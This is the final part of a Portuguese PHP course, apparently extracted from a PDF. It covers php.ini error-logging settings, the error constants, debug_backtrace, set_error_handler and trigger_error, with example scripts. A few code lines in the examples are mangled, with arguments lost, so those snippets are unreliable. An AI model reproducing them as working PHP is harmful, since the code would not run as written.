para ser igual a extensão da sua cópia docref_ext=.html. É possível usar referencias externas.

Por exemplo, você pode usar docref_root=http://manual/en/ ou

docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon

&url=http%3A%2F%2Fwww.php.net%2F"

A maior parte do tempo você deve querer que o valor de docref_root termine com uma barra

'/'. Mas veja o segundo exemplo acima o qual não tem ou não necessita isso.

Nota: Isto é para suportar o seu desenvolvimento já que torna mais fácil encontrar a descrição

de uma função. Entretando não deve ser usado em sistemas de produção (ex. sistemas

conectados na internet).

docref_ext string

Veja docref_root.

Nota: O valor de docref_ext deve começar com um ponto '.'.

error_prepend_string string

String para mostrar antes de uma mensagem de erro.

error_append_string string

String para mostrar após uma mensagem de erro.

error_log string

O nome do arquivo onde os erros do script serão logados. Se o valor especial syslog é usado, os

erros são enviados para o log do sistema. No UNIX, isto indica syslog(3) e no Windows NT isto

indica o log do evento. O log de sistema não é suportado no Windows 95. Veja também:

syslog().

warn_plus_overloading boolean

Se ativado, esta opção faz o PHP mostrar um aviso quando o operador de adição (+) é usado

em strings. Isto é para tornar mais fácil encontrar scripts que precisam ser rescritos usando o

Page 122: Curso completo php

operador de concatenação (.).

Constantes Predefinidas

As constantes listadas abaixo estão sempre disponíveis como parte do núcleo do PHP.

Nota: Você pode usar estes nomes de constantes no php.ini mas não fora do PHP, como no

httpd.conf, aonde você deve usar os valores.

Tabela 2. Erros e Log

Valor Constante Descrição Nota

1 E_ERROR (integer) Erros em tempo de execução fatais. Estes indicam erros que não podem

ser recuperados, como problemas de alocação de memória. A execução do script é

interrompida.

2 E_WARNING (integer) Avisos em tempo de execução (erros não fatais). A execução do script

não é interrompida.

4 E_PARSE (integer) Erro em tempo de compilação. Erros gerados pelo interpretador.

8 E_NOTICE (integer) Notícia em tempo de execução. Indica que o script encontrou alguma

coisa que pode indicar um erro, mas que também possa acontecer durante a execução normal

do script.

16 E_CORE_ERROR (integer) Erro fatal que acontece durante a inicialização do PHP. Este é

parecido com E_ERROR, exceto que é gerado pelo núcleo do PHP. Somente PHP 4

32 E_CORE_WARNING (integer) Avisos (erros não fatais) que aconteçam durante a

inicialização do PHP. Este é parecido com E_WARNING, exceto que é gerado pelo núcleo do

PHP. Somente PHP 4

64 E_COMPILE_ERROR (integer) Erro fatal em tempo de compilação. Este é parecido com

E_ERROR, exceto que é gerado pelo Zend Scripting Engine. Somente PHP 4

128 E_COMPILE_WARNING (integer) Aviso em tempo de compilação. Este é parecido com

E_WARNING, exceto que é geredo pelo Zend Scripting Engine. Somente PHP 4

256 E_USER_ERROR (integer) Erro gerado pelo usuário. Este é parecido com E_ERROR, exceto

que é gerado pelo código PHP usando a função trigger_error(). Somente PHP 4

512 E_USER_WARNING (integer) Aviso gerado pelo usuário. Este é parecido com

E_WARNING, exceto que é gerado pelo código PHP usando a função trigger_error(). Somente

PHP 4

1024 E_USER_NOTICE (integer) Notícia gerada pelo usuário. Este é parecido com E_NOTICE,

exceto que é gerado pelo código PHP usando a função trigger_error(). Somente PHP 4

2047 E_ALL (integer) Todos os erros e avisos, como suportado, exceto do nível E_STRICT.

2048 E_STRICT (integer) Nóticias em tempo de execução. Permite ao PHP sugerir

modificações em seu código para segurar melhor interoperabilidade e compatibilidade futura

do seu código. Somente PHP 5

Page 123: Curso completo php

Os valores acima (numéricos ou simbolicos) são usados para criar um bitmask que especifica

quais erros reportar.Você pode usar os operadores Bit-a-bit para combinar estes valores ou

mascarar certos tipos de erro. Note que somente '|', '~', '!', ^ e '&' serão entendidos dentro do

php.ini, entretanto, nenhum operador será entendido no php3.ini.

Exemplos

Abaixo você poderá ver um exemplo de como usar as capacidades de gerenciamento de erros

no PHP. Nós definimos uma função para gerenciamento de erros a qual guardas as

informações dentro de um arquivo (usando um formato XML), e envia um e-mail para o

desenvolvador caso um erro crítico na lógica aconteça. Exemplo 1. Usando gerenciamento de

erro em um script

PHP

1. <?php

2. // nós iremos fazer o nosso próprio gerenciamento de erros

3. error_reporting(0);

4.

5. // função definida pelo usuário para gerenciamento de erros

6. function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {

7. // timestamp para a entrada do erro

8. $dt = date("Y-m-d H:i:s (T)");

9.

10. // Define uma matriz associativa com as strings dos erros

11. $errortype = array (

12. 1 => "Error",

13. 2 => "Warning",

14. 4 => "Parsing Error",

15. 8 => "Notice",

16. 16 => "Core Error",

17. 32 => "Core Warning",

18. 64 => "Compile Error",

19. 128 => "Compile Warning",

Page 124: Curso completo php

20. 256 => "User Error",

21. 512 => "User Warning",

22. 1024=> "User Notice"

23. );

24. // define quais erros nós iremos salvar

25. $user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

26.

27. $err = "<errorentry>\n";

28. $err .= "\t<datetime>" . $dt . "</datetime>\n";

29. $err .= "\t<errornum>" . $errno . "</errornum>\n";

30. $err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n";

31. $err .= "\t<errormsg>" . $errmsg . "</errormsg>\n";

32. $err .= "\t<scriptname>" . $filename . "</scriptname>\n";

33. $err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n";

34.

35. if (in_array($errno, $user_errors))

36. $err .= "\t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>\n";

37. $err .= "</errorentry>\n\n";

38.

39. // para teste

40. // echo $err;

41.

42. // salva para o log de erros, e envia um email para o desenvolvedor em caso de erro crí

tico

43. error_log($err, 3, "/usr/local/php4/error.log");

44. if ($errno == E_USER_ERROR)

45. mail("[email protected]", "Critical User Error", $err);

46. }

Page 125: Curso completo php

47.

48.

49. function distance($vect1, $vect2) {

50. if (!is_array($vect1) || !is_array($vect2)) {

51. trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);

52. return NULL;

53. }

54.

55. if (count($vect1) != count($vect2)) {

56. trigger_error("Vectors need to be of the same size", E_USER_ERROR);

57. return NULL;

58. }

59.

60. for ($i=0; $i<count($vect1); $i++) {

61. $c1 = $vect1[$i]; $c2 = $vect2[$i];

62. $d = 0.0;

63. if (!is_numeric($c1)) {

64. trigger_error("Coordinate $i in vector 1 is not a number, using zero",

65. E_USER_WARNING);

66. $c1 = 0.0;

67. }

68. if (!is_numeric($c2)) {

69. trigger_error("Coordinate $i in vector 2 is not a number, using zero",

70. E_USER_WARNING);

71. $c2 = 0.0;

72. }

73. $d += $c2*$c2 - $c1*$c1;

Page 126: Curso completo php

74. }

75. return sqrt($d);

76. }

77.

78. $old_error_handler = set_error_handler("userErrorHandler");

79.

80. // constante indefinida, gera um aviso

81. $t = I_AM_NOT_DEFINED;

82.

83. // define alguns "vetores"

84. $a = array(2, 3, "foo");

85. $b = array(5.5, 4.3, -1.6);

86. $c = array (1,-3);

87.

88. // gera um erro do usuário

89. $t1 = distance($c, $ ."\n";

90.

91. // gera outro erro do usuário

92. $t2 = distance($b, "i am not an array")."\n";

93.

94. // gera um aviso

95. $t3 = distance($a, $ ."\n";

96.

97. ?>

debug_backtrace

Page 127: Curso completo php

(PHP 4 >= 4.3.0, PHP 5)

debug_backtrace -- Gera um backtrace

Descrição

array debug_backtrace ( void )

debug_backtrace() gera um backtrace e retorna esta informação em uma matriz associativa.

Os elementos possivelmente retornados estão na seguinte tabela:

Tabela 1. Elementos possivelmente retornados de debug_backtrace()

Nome Tipo Descrição

function string O nome da função atual. Veja também __FUNCTION__.

line integer O número da linha atual. Veja também __LINE__.

file string O nome do arquivo atual. Veja também __FILE__.

class string O nome da classe atual. Veja também __CLASS__.

type string O tipo da classe atual.

args array Se estiver dentro de uma função, lista os argumentos da função. Se estiver dentro

de um arquivo incluído, lista o(s) nome(s) do(s) arquivo(s).

A seguir esta um exemplo simples.

Exemplo 1. Exemplo debug_backtrace()

// nome do arquivo: a.php

PHP

1. <?php

2.

3. function a_test($str) {

4.

5. echo "\nHi: $str";

6.

7. var_dump(debug_backtrace());

8. }

9.

Page 128: Curso completo php

10. a_test('friend');

11. ?>

// nome do arquivo: b.php

PHP

1. <?php

2. include_once '/tmp/a.php';

3. ?>

4.

Resultados quando executando /tmp/b.php:

Hi: friend

array(2) {

[0]=>

array(4) {

["file"] => string(10) "/tmp/a.php"

["line"] => int(10)

["function"] => string(6) "a_test"

["args"]=>

array(1) {

[0] => &string(6) "friend"

}

}

[1]=>

array(4) {

["file"] => string(10) "/tmp/b.php"

["line"] => int(2)

["args"] =>

array(1) {

[0] => string(10) "/tmp/a.php"

}

["function"] => string(12) "include_once"

}

}

Page 129: Curso completo php

debug_print_backtrace

(PHP 5)

debug_print_backtrace -- Mostra um backtrace

restore_error_handler

(PHP 4 >= 4.0.1, PHP 5)

restore_error_handler -- Restaura a função anterior para gerenciamento de erro

set_error_handler

(PHP 4 >= 4.0.1, PHP 5)

set_error_handler -- Define uma função do usuário para manusear os erros.

Descrição

string set_error_handler ( callback error_handler)

Define uma função do usuário (error_handler) para manusear os erros no script. Retorna a

função definida anteriormente (se houver alguma), ou FALSE em caso de erro. Esta função

pode ser usada para definir o seu próprio meio de manusear os erros durante a execução do

script, por exemplo em aplicações que você precisa fazer uma limpesa de dados/arquivos

quando um erro crítico acontece, ou quando você quer criar um erro sobre certas condições

(usando trigger_error()).

A função do usuario precisa aceitar dois parâmetros: o código do erro e a string descrevendo o

erro. Apartir do PHP 4.0.2, três parâmetros opcionais são fornecidos: o nome do erro onde o

arquivo aconteceu, o número da linha onde o erro aconteceu, e o contexto onde o erro

aconteceu (uma matriz que aponta para a tabela de símbolos ativos no ponto onde aconteceu

o erro).

Nota: Ao invés de um nome de função, uma matriz contendo uma referência a um objeto e um

nome de metodo pode ser indicado (Apartir do PHP 4.3.0).

Nota: Os seguintes tipos de erro não podem ser manuseados por uma função definida pelo

usuário: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR e

E_COMPILE_WARNING.

O exemplo abaixo mostra como manusear exceções criando erros e gerenciando erros com

uma função definida pelo usuário: Exemplo 1. Manuseando erros com set_error_handler() e

trigger_error()

PHP

Page 130: Curso completo php

1. <?php

2.

3. // redefine the user error constants - PHP 4 only

4. define("FATAL", E_USER_ERROR);

5. define("ERROR", E_USER_WARNING);

6. define("WARNING", E_USER_NOTICE);

7.

8. // set the error reporting level for this script

9. error_reporting(FATAL | ERROR | WARNING);

10.

11. // error handler function

12. function myErrorHandler($errno, $errstr, $errfile, $errline) {

13. switch ($errno) {

14. case FATAL:

15. echo "<b>FATAL</b> [$errno] $errstr<br />\n";

16. echo " Fatal error in line $errline of file $errfile";

17. echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br />\n";

18. echo "Aborting...<br />\n";

19. exit(1);

20. break;

21. case ERROR:

22. echo "<b>ERROR</b> [$errno] $errstr<br />\n";

23. break;

24. case WARNING:

25. echo "<b>WARNING</b> [$errno] $errstr<br />\n";

26. break;

27. default:

Page 131: Curso completo php

28. echo "Unkown error type: [$errno] $errstr<br />\n";

29. break;

30. }

31. }

32.

33. // function to test the error handling

34. function scale_by_log($vect, $scale) {

35. if (!is_numeric($scale) || $scale <= 0) {

36. trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale",

37. FATAL);

38. }

39.

40. if (!is_array($vect)) {

41. trigger_error("Incorrect input vector, array of values expected", ERROR);

42. return null;

43. }

44.

45. for ($i=0; $i<count($vect); $i++) {

46. if (!is_numeric($vect[$i]))

47. trigger_error("Value at position $i is not a number, using 0 (zero)",

48. WARNING);

49. $temp[$i] = log($scale) * $vect[$i];

50. }

51. return $temp;

52. }

53.

54. // set to the user defined error handler

Page 132: Curso completo php

55. $old_error_handler = set_error_handler("myErrorHandler");

56.

57. // trigger some errors, first define a mixed array with a non-numeric item

58. echo "vector a\n";

59. $a = array(2,3, "foo", 5.5, 43.3, 21.11);

60. print_r($a);

61.

62. // now generate second array, generating a warning

63. echo "----\nvector b - a warning (b = log(PI) * a)\n";

64. $b = scale_by_log($a, M_PI);

65. print_r($ ;

66.

67. // this is trouble, we pass a string instead of an array

68. echo "----\nvector c - an error\n";

69. $c = scale_by_log("not array", 2.3);

70. var_dump($c);

71.

72. // this is a critical error, log of zero or negative number is undefined

73. echo "----\nvector d - fatal error\n";

74. $d = scale_by_log($a, -2.5);

75.

76. ?>

E quando você usar este script de exemplo, a saída será:

vector a

Page 133: Curso completo php

Array

(

[0] => 2

[1] => 3

[2] => foo

[3] => 5.5

[4] => 43.3

[5] => 21.11

)

vector b - a warning (b = log(PI) * a)

<b>WARNING</b> [1024] Value at position 2 is not a number, using 0 (zero)<br />

Array

(

[0] => 2.2894597716988

[1] => 3.4341896575482

[2] => 0

[3] => 6.2960143721717

[4] => 49.566804057279

[5] => 24.165247890281

)

vector c - an error

<b>ERROR</b> [512] Incorrect input vector, array of values expected<br />

NULL

----

vector d - fatal error

<b>FATAL</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />

Fatal error in line 36 of file trigger_error.php, PHP 4.0.2 (Linux)<br />

Aborting...<br />

É importante lembrar que o gerenciamento de erro do padrão do PHP é completamente

ignorado. As definições de error_reporting() não terão efeito e seu gerenciador de erro será

chamado. Em todo o caso, você ainda poderá ler o valor atual de error_reporting e ajir

apropriadamente. Uma nota em particular é que este valor será 0 se o comando que causou o

erro for precedido pelo operador de controle de erro @.

Note também que é sua responsabilidade usar o die() se necessário. Se a função que gerencia

os erros retornar, a execução do script irá continuar a apartir do comando seguinte ao que

Page 134: Curso completo php

causou o erro

Nota: Se o erro acontecer antes da execução do script(ex. enquanto o arquivo é carregado) a

função defina pelo usuario não será chamada já que não estará ainda registrada.

trigger_error

(PHP 4 >= 4.0.1, PHP 5)

trigger_error -- Gera uma mensagem de usuário sobre error/warning/notice

Descrição

void trigger_error ( string error_msg [, int error_type])

Usa para realizar uma condição de erro, pode ser usado em conjunto com o gerenciador de

erros padrão ou com uma função definida pelo usuário, se for definida como gerenciador de

erros com set_error_handler(). Somente funciona com as constantes da família E_USER, e o

padrão é E_USER_NOTICE.

Esta função é útil quando você quer gerar uma resposta para uma exceção durante a execução

do script. Por exemplo:

PHP

1. <?php

2. if (assert($divisor == 0)) {

3. trigger_error("Não posso dividir por zero", E_USER_ERROR);

4. }

5. ?>

Nota: Veja set_error_handler() para um exemplo maior.

Nota: error_msg é limitado a 1024 caracteres de tamanho. Qualquer caractere adicional além

de 1024 serão truncados.

Fim do Curso de PHP

Quero agradecer a todos que acompanharam esse curso, e agradeço os elogios e criticas, e

espero que tenha aprendido alguma coisa nova ja fico contente

e não quero parar de ajudar mesmo que o curso de PHP acabou logo iremos apresentar mais

cursos o próximo curso a ser apresentado a vocês será sobre Mysql, e espero poder também

Page 135: Curso completo php

passar um curso avançado sobre outros bancos de dados e funções avançadas do php,

aguardem e bons estudos

até a próxima